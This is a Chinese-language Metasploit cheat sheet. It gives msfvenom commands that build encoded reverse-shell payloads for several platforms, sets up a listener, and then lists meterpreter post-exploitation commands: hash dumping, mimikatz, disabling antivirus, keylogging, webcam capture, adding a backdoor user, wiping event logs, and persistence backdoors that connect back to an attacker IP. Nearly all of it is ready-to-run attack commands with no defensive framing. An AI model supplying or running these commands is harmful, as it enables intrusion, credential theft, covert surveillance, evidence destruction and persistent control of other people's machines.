msf补充
使用方法:
进入框架:msfconsole
使用search命令查找相关漏洞:search ms14-058
使用info查看模块信息:info
我们也可以将攻击代码写configure.rc(只要是以 .rc 结尾的文件)配置文件中,然后使用命令
msfconsole -r configure.rc 进行自动攻击
msfvenom生成shellcode
msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口
-e 编码方式 -i编码次数 -f 输出格式 -o 输出文件
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888 -i 3-e x86/shikata_ga_nai -f exe -o payload.exe
msfvenom --list archs #查看支持的系统架构 --list可以用 -l代替
msfvenom --list platforms #查看支持系统平台
msfvenom -l payload #列出所有可用的payload
msfvenom -l formats #列出所有的输出格式
msfvenom -l encrypt #列出所有的加密方式
msfvenom -l encoders #列出所有的编码器
常见生成格式
windows
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.5.128 lport=4444 -f exe -o payload.exe
linux
msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf
mac
msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho
android
msfvenom -p android/meterpreter/reverse_tcp -o payload.apk
aspx
msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx
bash
msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh
jsp
msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp
msf有6个模块
auxiliary #负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块
exploits #利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)
payloads #成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是
single、stages和stagers。
nops #提高payload稳定性及维持大小。
post #后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信
息、跳板攻击等操作
kali加载自定义模块
下载一个rb文件的exploit文件
拷贝到framework/modules/exploits中
msf中执行reload_all 重新加载模块
注意:上述过程在MSF6中操作。
监听:
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.0.108
set LPORT 4445
exploit
msf后渗透阶段
成功监听对方主机之后,我们将会看到提示符meterpreter。
输入 shell即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter,我们只需输入:exit
发现乱码,输入chcp 65001来解决,也可以用kali终端的字符编码格式来解决。
在meterpreter命令行下
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载mimikatz
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下
getpid #查看当前Meterpreter Shell的进程PID
migrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权。
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接
192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本
地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev #清除日志
post后渗透模块
该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump
Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似),一些常用命令如下:
cd:切换目标目录;
cat:读取文件内容;
rm:删除文件;
edit:使用vim编辑文件
ls:获取当前目录下的文件;
mkdir:新建目录;
rmdir:删除目录;
有时候对方主机不是系统权限,有限操作无法展开,使用getsystem提升权限,提权的成功率取决于许多因素,包括目标系统的安全配置、补丁级别以及是否启用了某些安全措施(如 UAC)。
这里我本来就是最高权限。
生成持续性后门。
因为 meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可
能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接。所以,我们得在目标主
机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。
建立持续性后门有两种方法,一种是通过启动项启动(persistence) ,一种是通过 服务启动(metsvc)
启动项启动
用msfvenom生成shell放大windows的启动目录下:
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
这样对方主机每次开机就能启动shell。只要监听相应的端口就行了。
服务启动
run persistence -X -i 5 -p 4444 -r 192.168.5.128 #反弹时间间隔是5s 会自动连接
192.168.5.128的4444端口,缺点是容易被杀毒软件查杀,然后它就在目标机新建了这个文件:
C:\Windows\TEMP\jRBGTRRznuL.vbs ,并把该服务加入了注册表中,只要开机就会启动